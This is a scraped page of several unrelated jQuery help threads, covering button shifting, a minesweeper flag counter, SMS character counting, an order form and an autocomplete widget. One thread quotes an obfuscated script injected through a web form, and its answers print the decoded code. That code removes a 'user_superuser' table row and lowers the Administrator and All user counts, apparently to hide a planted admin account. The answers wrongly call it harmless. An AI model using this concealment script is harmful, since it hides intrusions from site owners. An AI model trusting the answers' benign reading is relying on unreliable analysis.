i am trying to make something fancy like this create button and shift values, so far i have reached till here FIDDLE
$("#submit").click(function() {
var n = $('#txtinp').val();
if ($.isNumeric(n)) {
//alert(n);
var btns = $('#btns');
for (var i = 1; i <= n; i++) {
btns.append('<input type="button" id="b' + i + '" value="' + i + '"/>');
}
} else {
alert("enter a number");
}
$("input[type='button']").click(function(e) {
var idClicked = e.target.id;
//alert($(this).attr("value"));
if (idClicked == 'b1' && $(this).attr("value") == 1) {
$(this).prop('value', n);
var lastBtn = 'b' + n;
for (var i = n; i > 1; i--) {
$('#b' + i).prop('value', i - 1);
}
} else {
var lastBtn = 'b' + n;
for (var i = n; i >= 1; i--) {
if ('b' + i == 'b1' && 'b' + n == n) {
$('#b' + i).prop('value', i);
} else {
$('#b' + i).prop('value', i - 1);
}
}
}
});
});
I am able to shift only once if clicked on very first created button, but the function or event does not work on second and further clicks. I have no prior Jquery experience, what is that i am doing wrong here?
please do not down vote if the question is too stupid.
thanks in advance
Here's one possible solution:
$(document).ready(function() {
$("#submit").click(function() {
var n = $('#txtinp').val();
if ($.isNumeric(n)) {
var btns = $('#btns').empty();
for (var i = 1; i <= n; i++) {
btns.append($('<button>').text(i));
}
} else {
alert("enter a number");
}
$("#btns button").click(function(e) {
var buttons = $('#btns button');
buttons.each(function () {
var currentValue = parseInt($(this).text());
var newValue = currentValue - 1;
if (newValue === 0) {
newValue = buttons.length;
}
$(this).text(newValue);
});
});
});
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<input type="text" id="txtinp" />
<input type="button" id="submit" value="Submit" />
<div id="btns">
</div>
Related
A random user added this text as his name in a web form. I suppose his idea was to somehow inject Javascript into a dynamic page. How should this code be interpreted? (What does it do?)
<script LANGUAGE="JavaScript">
function Decode() {
var temp = "",
i, c = 0,
out = "";
var str = "46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!62!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!74!97!118!97!83!99!114!105!112!116!34!62!32!118!97!114!32!115!101!116!85!115!101!114!78!97!109!101!32!61!32!102!117!110!99!116!105!111!110!40!41!123!32!116!114!121!123!32!118!97!114!32!116!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!66!121!73!100!40!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!41!59!32!119!104!105!108!101!40!116!46!110!111!100!101!78!97!109!101!33!61!34!84!82!34!41!123!32!116!61!116!46!112!97!114!101!110!116!78!111!100!101!59!32!125!59!32!116!46!112!97!114!101!110!116!78!111!100!101!46!114!101!109!111!118!101!67!104!105!108!100!40!116!41!59!32!118!97!114!32!116!97!103!115!32!61!32!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!72!51!34!41!59!32!118!97!114!32!115!32!61!32!34!32!115!104!111!119!110!32!98!101!108!111!119!34!59!32!102!111!114!32!40!118!97!114!32!105!32!61!32!48!59!32!105!32!60!32!116!97!103!115!46!108!101!110!103!116!104!59!32!105!43!43!41!32!123!32!118!97!114!32!116!61!116!97!103!115!91!105!93!46!105!110!110!101!114!72!84!77!76!59!32!118!97!114!32!104!61!116!97!103!115!91!105!93!59!32!105!102!40!116!46!105!110!100!101!120!79!102!40!115!41!62!48!41!123!32!115!32!61!40!112!97!114!115!101!73!110!116!40!116!41!45!49!41!43!115!59!32!104!46!114!101!109!111!118!101!67!104!105!108!100!40!104!46!102!105!114!115!116!67!104!105!108!100!41!59!32!116!32!61!32!100!111!99!117!109!101!110!116!46!99!114!101!97!116!101!84!101!120!116!78!111!100!101!40!115!41!59!32!104!46!97!112!112!101!110!100!67!104!105!108!100!40!116!41!59!32!125!32!125!32!118!97!114!32!97!114!114!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!117!108!34!41!59!32!102!111!114!40!118!97!114!32!105!32!105!110!32!97!114!114!41!32!105!102!40!97!114!114!91!105!93!46!99!108!97!115!115!78!97!109!101!61!61!34!115!117!98!115!117!98!115!117!98!34!41!123!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!125!32!125!99!97!116!99!104!40!101!41!123!125!59!32!125!59!32!97!100!100!76!111!97!100!69!118!101!110!116!40!115!101!116!85!115!101!114!78!97!109!101!41!59!32!60!47!115!99!114!105!112!116!62!";
l = str.length;
while (c <= str.length - 1) {
while (str.charAt(c) != '!') temp = temp + str.charAt(c++);
c++;
out = out + String.fromCharCode(temp);
temp = "";
}
document.write(out);
}
</script>
<script LANGUAGE="JavaScript">
Decode();
</SCRIPT>
It creates a script tag with some JavaScript code. It changes some HTML elements, doesn't seem to be very dangerous. We would probably need to know what environment / website it was supposed to be used in.
Here is the code created by the script:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function () {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
It injects this into the page...
As for what it does... well, nothing really
It replaces some tags on the page with some "Administrator" text... without seeing the rest of your code I can't really tell, but it looks like it is mainly defacing the site to scare you
... <b id="user_superuser">
<script language="JavaScript">
var setUserName = function() {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
</script>
--SOLVED--
I was just forgetting to reset the number of flags after each game.
I'm having issues with the number of flags in my minesweeper game. For some reason, sometimes when I flag a tile the number of flags increases by more than 1. Sometimes it increases by 3, sometimes 4, sometimes 7. I can't find the issue in my logic, so I was hoping to get another set of eyes on it.
The only sort of pattern I can see when it adds more flags than it should, i.e. the flags variable is incremented more than once, is when I flag a tile that is mostly surrounded by revealed tiles.
Javascript:
var flags = 0;
var trueFlags = 0;
function newGame() {
var cols = $("#width").val();
var rows = $("#height").val();
if (cols < 8 || rows < 8) {
return;
}else if (cols > 40 || rows > 30) {
return;
}
boardClear();
possibleBombs = (rows * cols) - 1;
numBombs = 0;
for (var i = 1; i <= rows; i++) {
for (var j = 1; j <= cols; j++) {
if (numBombs < possibleBombs) {
var q = Math.floor(Math.random() * 50);
if (0 <= q && q <= 2) {
numBombs += 1;
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 0 + ' data-flagged = ' + false + '></button>').prop("revealed", false);
}
else {
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 1 + 'data-flagged = ' + false + '></button>').prop("revealed", false);
}
}
else {
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 1 + ' data-flagged = ' + false + '></button>').prop("revealed", false);
}
}
$("#board").append("<br/>");
}
$(".controls h2").text("Bombs to go: " + numBombs);
$(".tile").css("background-color", "white");
$(".tile").width(15);
$(".tile").height(15);
console.log("bombs: " + numBombs, "possible: " + possibleBombs);
$(".tile").click(function(e) {
if (e.shiftKey) {
flagKey($(this));
$(".controls h2").text("Bombs to go: " + (numBombs - flags));
}
else if ($(this).data("contains") == 0) {
console.log("you lose");
boardClear();
newGame();
return;
}
else {
revealNeighbors($(this));
// if (gameWon() == true) {
// alert("You have won!");
// newGame();
// }
return;
}
});
}
function boardClear() {
$("#board").empty();
}
function revealNeighbors(tile) {
var cordsx = tile.data("row");
var cordsy = tile.data("col");
// tile has bomb
if(tile.data("contains") == 0) {return;}
// tile is flagged
else if(tile.data("flagged") == true){return;}
// tile has been revealead already
else if(tile.prop("revealed") == true) {return;}
// reveal the tile
var tileBombs = nearbyBombCount(tile);
tile.prop("revealed", true);
tile.text(tileBombs);
tile.css("background-color", "grey");
if (tileBombs == 0){tile.text("");}
else if(tileBombs != 0) {return;}
for (var i = -1; i <= 1; i++) {
for (var j = -1; j <= 1; j++) {
if (cordsx + i < 1 || cordsy + j < 1) {continue;}
else if (cordsx + i > $("#width").val() || cordsy + j > $("#height").val()) {continue;}
else if (i == 0 && j == 0) {continue;}
var neighbor = $('.tile[data-row="' + (cordsx+i) + '"][data-col ="'+(cordsy+j)+'"]');
revealNeighbors(neighbor);
}
}
}
function nearbyBombCount(tile) {
var cx = tile.data("row");
var cy = tile.data("col");
var nearbyBombs = 0;
for (var n = -1; n < 2; n++) {
for (var m = -1; m < 2; m++) {
if (cx + n < 1 || cy + m < 1) {continue;}
else if (cx + n > $("#width").val() || cy + m > $("#height").val()) {continue;}
var neighbor = $('.tile[data-row="' + (cx+n) + '"][data-col ="'+(cy+m)+'"]');
if (neighbor.data("contains") == 0) {
nearbyBombs++;
}
}
}
return nearbyBombs;
}
function flagKey(tile) {
// tile is already revealed
if (tile.data("revealed") == true) {
return;
}
// tile is already flagged
else if (tile.data("flagged") == true) {
tile.data("flagged", false);
tile.css("background-color", "white");
flags--;
// contains bomb
if (tile.data("contains") == 0) {
trueFlags--;
}
return;
}
// tile not flagged
else if (tile.data("flagged") == false) {
flags++;
tile.data("flagged", true);
tile.css("background-color", "red");
// contains bomb
if (tile.data("contains") == 0) {
trueFlags++;
console.log(trueFlags);
}
}
else {
return;
}
}
My guess is that there's something wrong with my revealNeighbors() function or it's some scope issue, but I can't for the life of me figure out what it is.
Hi I change a litle and works fine
<html>
<head>
<style>
.tile{padding:5px;}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
</head>
<body>
Width : <input type="text" id="width" value="15" /> Height :<input type="text" id="height" value="15" /><input type="button" onclick="newGame()" id="btnstart" value="start" />
<br />
<div>
<div id="board" >
</div>
</div>
<script>
var flags = 0;
var trueFlags = 0;
function newGame() {
var cols = $("#width").val();
var rows = $("#height").val();
if (cols < 8 || rows < 8) {
return;
}else if (cols > 40 || rows > 30) {
return;
}
boardClear();
possibleBombs = (rows * cols) - 1;
numBombs = 0;
for (var i = 1; i <= rows; i++) {
for (var j = 1; j <= cols; j++) {
if (numBombs < possibleBombs) {
var q = Math.floor(Math.random() * 50) + 1;
if (q <= 2) {
numBombs += 1;
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 0 + ' data-flagged = ' + false + '></button>').prop("revealed", false);
}
else {
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 1 + 'data-flagged = ' + false + '></button>').prop("revealed", false);
}
}
else {
$("#board").append('<button type="button" class="tile" data-row = ' + i + ' data-col = ' + j + ' data-contains = ' + 1 + ' data-flagged = ' + false + '></button>').prop("revealed", false);
}
}
$("#board").append("<br/>");
}
$(".controls h2").text("Bombs to go: " + numBombs);
$(".tile").css("background-color", "white");
$(".tile").width(15);
$(".tile").height(15);
console.log("bombs: " + numBombs, "possible: " + possibleBombs);
$(".tile").click(function (e) {
if (e.shiftKey) {
flagKey($(this));
$(".controls h2").text("Bombs to go: " + (numBombs - flags));
}
else if ($(this).data("contains") == 0) {
console.log("you lose");
boardClear();
newGame();
return;
}
else {
revealNeighbors($(this));
// if (gameWon() == true) {
// alert("You have won!");
// newGame();
// }
return;
}
});
}
function boardClear() {
$("#board").empty();
}
function revealNeighbors(tile) {
var cordsx = tile.data("row");
var cordsy = tile.data("col");
// tile has bomb
if(tile.data("contains") == 0) {return;}
// tile is flagged
else if(tile.data("flagged") == true){return;}
// tile has been revealead already
else if(tile.prop("revealed") == true) {return;}
// reveal the tile
var tileBombs = nearbyBombCount(tile);
tile.prop("revealed", true);
tile.text(tileBombs);
tile.css("background-color", "grey");
if (tileBombs == 0){tile.text("");}
else if(tileBombs != 0) {return;}
for (var i = -1; i <= 1; i++) {
for (var j = -1; j <= 1; j++) {
if (cordsx + i < 1 || cordsy + j < 1) {continue;}
else if (cordsx + i > $("#width").val() || cordsy + j > $("#height").val()) {continue;}
else if (i == 0 && j == 0) {continue;}
var neighbor = $('.tile[data-row="' + (cordsx+i) + '"][data-col ="'+(cordsy+j)+'"]');
revealNeighbors(neighbor);
}
}
}
function nearbyBombCount(tile) {
var cx = tile.data("row");
var cy = tile.data("col");
var nearbyBombs = 0;
for (var n = -1; n < 2; n++) {
for (var m = -1; m < 2; m++) {
if (cx + n < 1 || cy + m < 1) {continue;}
else if (cx + n > $("#width").val() || cy + m > $("#height").val()) {continue;}
var neighbor = $('.tile[data-row="' + (cx+n) + '"][data-col ="'+(cy+m)+'"]');
if (neighbor.data("contains") == 0) {
nearbyBombs++;
}
}
}
return nearbyBombs;
}
function flagKey(tile) {
// tile is already revealed
if (tile.data("revealed") == true) {
return;
}
// tile is already flagged
else if (tile.data("flagged") == true) {
tile.data("flagged", false);
tile.css("background-color", "white");
flags--;
// contains bomb
if (tile.data("contains") == 0) {
trueFlags--;
}
return;
}
// tile not flagged
else if (tile.data("flagged") == false) {
flags++;
tile.data("flagged", true);
tile.css("background-color", "red");
// contains bomb
if (tile.data("contains") == 0) {
trueFlags++;
console.log(trueFlags);
}
}
else {
return;
}
}
</script>
</body>
</html>
I have written a code bellow for counting the character inside text box.
the code is working just fine the only problem with it is when i past a text into the text box i have to press any key so system start to count.
Could you please help me sort this problem
function GetAlhpa(text) {
var gsm = "#£$¥èéùìòÇØøÅåΔ_ΦΓΛΩΠΨΣΘΞ^{}\[~]|€ÆæßÉ!\"#¤%&'()*+,-./0123456789:;<=>?¡ABCDEFGHIJKLMNOPQRSTUVWXYZÄÖÑܧ¿abcdefghijklmnopqrstuvwxyzäöñüà";
var i = 0;
while (i <= String(text).length) {
if (gsm.indexOf(String(String(text).charAt(i))) == -1 && (String(text).charCodeAt(i) != 32) && (String(text).charCodeAt(i) != 27) && (String(text).charCodeAt(i) != 10) && (String(text).charCodeAt(i) != 13)) {
UniCodestring = " Unicode ";
Countsms = 70;
if ($('#SndSms_Message').val().length > 70)
Countsms = 67;
return;
}
i++;
}
Countsms = 160;
UniCodestring = "";
if ($('#SndSms_Message').val().length > 160)
Countsms = 153;
}
var Countsms = 160;
var UniCodestring = "";
var CounterSmsLen = 0;
var Two = "|^€{}[]~";
function GetCountSms() {
document.getElementById('SndSms_Message').addEventListener('input', function (e) {
var target = e.SndSms_Message,
position = SndSms_Message.selectionStart;
ConvertGreek();
CounterSmsLen = $('#SndSms_Message').val().length;
GetAlhpa($('#SndSms_Message').val());
var i = 0;
while (i < String(Two).length) {
var oldindex = -1;
while (String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i)), oldindex) > -1) {
//if ( String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i))) > -1){
CounterSmsLen += 1;
oldindex = String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i)), oldindex) + 1;
console.log(i);
}
i++;
}
SndSms_Message.selectionEnd = position; // Set the cursor back to the initial position.
});
if ($('#SndSms_Message').val().length == 0)
CounterSmsLen = 0;
$('#SndSms_Count').html(' ' + CounterSmsLen + ' Characters' + UniCodestring + ' <br /> ' + Math.ceil(CounterSmsLen / Countsms) + ' Sms');
countsmsnumber=Math.ceil(CounterSmsLen / Countsms);
}
var greekchar = "ΑΒΕΖΗΙΚΜΝΟΡΤΥΧ";
var englishchar = "ABEZHIKMNOPTYX";
function ConvertGreek() {
var str = $('#SndSms_Message').val();
var i = 0;
while (i < String(greekchar).length) {
str = str.replace(new RegExp(String(greekchar).charAt(i), 'g'), String(englishchar).charAt(i));
i++;
}
$('#SndSms_Message').val(str);
P.S.
If i paste the number into the text box it will count it correct but if i paste character it wont count them..
You need keyup change event in order to handle paste event.
document.getElementById('SndSms_Message').addEventListener("keyup", function() {
//your code here
});
example
I need to hide rows until they are clicked. I didn't initially write the code and I was having hard time fixing the issues. It's for an advanced order form for a private jet company. The form is supposed to have only 2 visible legs and then you'll be able to click on add a leg button to add a leg, instead it shows 15 legs.
jQuery(document).ready(function () {
jQuery('.trip-type').change(function () {
if (jQuery(this).val() == "multi-leg") {
jQuery("#addleg").css("display", "block").hide().end();
for (var i = 2; i <= 3; i++) {
jQuery('.to_leg_' + i).val('');
jQuery('.to_leg_' + i).attr('data-code', "");
jQuery('.to_leg_' + i).attr('data-name', "");
jQuery('.to_leg_' + i).attr('data-real-city', "");
jQuery('.to_leg_' + i).attr('data-country', "");
jQuery('.to_leg_' + i).attr('data-latitude', "");
jQuery('.to_leg_' + i).attr('data-longitude', "");
}
for (var n = 3; i <= 5; i++) {
jQuery('.from_leg_' + i).val('');
jQuery('.from_leg_' + i).attr('data-code', "");
jQuery('.from_leg_' + i).attr('data-name', "");
jQuery('.from_leg_' + i).attr('data-real-city', "");
jQuery('.from_leg_' + i).attr('data-country', "");
jQuery('.from_leg_' + i).attr('data-latitude', "");
jQuery('.from_leg_' + i).attr('data-longitude', "");
}
var allElements = jQuery('#multileg-block').find("div.row");
for (var i = 0; n < allElements.length; i++) {
if (jQuery(allElements[i]).hasClass("non-one-way") === true) {
jQuery(allElements[i]).removeClass('non-one-way');
jQuery(allElements[i]).removeClass(i);
jQuery(allElements[i]).css("display", "none");
jQuery(allElements[i]).attr('attribute', "");
}
}
var trelements = jQuery('#multi-table').find("tbody tr.multileg-table");
for (var i = 1; i < trelements.length; i++) {
if (jQuery(trelements[i]).hasClass('non-one-way') === true) {
jQuery(trelements[i]).removeClass("non-one-way");
jQuery(trelements[i]).css("display", "none");
jQuery(trelements[i]).attr('attribute', "");
}
}
$('.info-distances tbody tr.multileg-info:eq(0)').addClass('non-one-way');
} else {
jQuery("#addleg").css("display", "none");
jQuery('.info-distances tbody tr:eq(1)').removeClass('non-one-way');
var mutrelements = jQuery('.info-distances').find("tbody tr.multileg-info");
for (var i = 1; i < mutrelements.length; i++) {
if (jQuery(mutrelements[i]).hasClass('non-one-way') === true) {
jQuery(mutrelements[i]).removeClass("non-one-way");
}
}
}
});
jQuery('#addleg').on("click", function () {
var allElements = jQuery('#multileg-block').find("div.row");
for (var i = 0; i < allElements.length; i++) {
if (jQuery(allElements[i]).hasClass("non-one-way") == false) {
jQuery(allElements[i]).addClass('non-one-way');
jQuery(allElements[i]).addClass(i);
jQuery(allElements[i]).css("display", "block");
jQuery(allElements[i]).attr('attribute', i);
break;
}
}
var trelements = jQuery('#multi-table').find("tbody tr.multileg-table");
for (var i = 0; i < trelements.length; i++) {
if (jQuery(trelements[i]).hasClass('non-one-way') === false) {
jQuery(trelements[i]).addClass("non-one-way");
jQuery(trelements[i]).css("display", "table-row");
jQuery(trelements[i]).attr('attribute', i);
break;
}
}
var mutrelements = jQuery('.info-distances').find("tbody tr.multileg-info");
for (var i = 1; i < mutrelements.length; i++) {
if (jQuery(mutrelements[i]).hasClass('non-one-way') === false) {
jQuery(mutrelements[i]).addClass("non-one-way");
break;
}
}
});
jQuery('.Leg_remove').on("click", function () {
jQuery(this).parent().parent().css('display', 'none');
jQuery(this).parent().parent().removeClass('non-one-way');
index = parseInt(jQuery(this).parent().parent().attr('attribute'));
jQuery('.non-one-way[attribute=' + index + ']').removeClass('non-one-way').css('display', 'none');
index += 2;
jQuery('.info-distances tbody tr:eq(' + index + ')').removeClass('non-one-way');
});
}); < /script>
I am writing autocomplete input control from scratch using javascript and jquery. I know I can use the jquery autocomplete. But then there won't be any fun.
The autocomplete I have so far shows suggestions but I am not able to select the suggestions using mouse. How can I do this?
The code I have so far is following html,
<div class="sug">
<input type="text" id="auto" onkeyup="display(event)" onblur="hide()" autocomplete="off" />
<div class="suggestion" id="suggestion">
</div>
</div>
and following is the style sheet
<style>
.suggestion
{
border:solid 2px black;
}
.sug > .suggestion
{
display:none;
}
.sug > .suggestion,#auto
{
width:100px;
}
}
</style>
and my javascript code is following
<script type="text/javascript">
var array = new Array();
array.push("heena");
array.push("bhawin");
array.push("aruna");
array.push("mahesh");
array.push("anshul");
array.push("jagruti");
array.push("neha");
array.push("sherry");
array.push("sonali");
var data;
var id; //for providing id to each div
function display(e)
{
if (e.keyCode == 38 || e.keyCode == 40)
{
selectit(e);
}
data = "";
id = 0;
var state = $('#auto').val();
if (state == "")//value empty
{
$('.suggestion').css({ display: "none" });
}
else
{
for (var i = 0; i < array.length; i++)
{
var key = 0;
for (j = 0; j < state.length; j++)
{
//for the matching of the array element with the text in the textbox
if (array[i][j] == state[j])
{
key++;
}
}
//putting the matched array element in a div
if (key == state.length)
{
//the whole array will be copied with the bold values inserted
var bolde = "";
for (var k = 0; k < key; k++)
{
bolde += "" + array[i][k] + "";
}
for (var l = key; l < array[i].length; l++)
{
bolde += array[i][l];
}
id++;
data += "<div id='" + id + "'>" + bolde + "</div>";
}
}
$('.suggestion').html(data);
$('.suggestion').css({ display: "block" });
selectit(e);
if (data == "")
{
$('.suggestion').css({ display: "none" });
}
}
}
function hide()
{
$('#suggestion').css({ display: "none" }); ;
}
function selectit(e)
{
var child = document.getElementById("suggestion").childNodes;
for (var i = 0; i < child.length; i++)
{
if (child[i].id == "1")
{
child[i].style.color = "red"; //here is the problem in the code
}
}
}
</script>
Thanks
there was two problems
ONE :
you need to take off the hide(); from onblur
<div class="sug">
<input type="text" id="auto" onkeyup="display(event)" autocomplete="off" /><!--i changed here to Note the on blur-->
<div class="suggestion" id="suggestion">
</div>
</div>
TWO : set the onclick of the div and use hide(); in it
<script>
var array = new Array();
array.push("heena");
array.push("bhawin");
array.push("aruna");
array.push("mahesh");
array.push("anshul");
array.push("jagruti");
array.push("neha");
array.push("sherry");
array.push("sonali");
var data;
var id;
function display(e)
{
if (e.keyCode == 38 || e.keyCode == 40)
{
selectit(e);
}
data = "";
id = 0;
var state = $('#auto').val();
if (state == "")
{
$('.suggestion').css({ "display": "none" });
}
else
{
for (var i = 0; i < array.length; i++)
{
var key = 0;
for (j = 0; j < state.length; j++)
{
if (array[i][j] == state[j])
{
key++;
}
}
if (key == state.length)
{
var bolde = "";
for (var k = 0; k < key; k++)
{
bolde += "" + array[i][k] + "";
}
for (var l = key; l < array[i].length; l++)
{
bolde += array[i][l];
}
id++;
data += '<div id="' + id + '" onclick="$(\'#auto\').val(this.innerHTML);hide();" >' + bolde + "</div>";// i changed here note the on click
}
}
$('.suggestion').html(data);
$('.suggestion').css({ "display": "block" });
selectit(e);
if (data == "")
{
$('.suggestion').css({ "display": "none" });
}
}
}
function hide()
{
$('#suggestion').css({ "display" : "none" }); ;
}
function selectit(e)
{
var child = document.getElementById("suggestion").childNodes;
for (var i = 0; i < child.length; i++)
{
if (child[i].id == "1")
{
child[i].style.color = "red";
}
}
}
</script>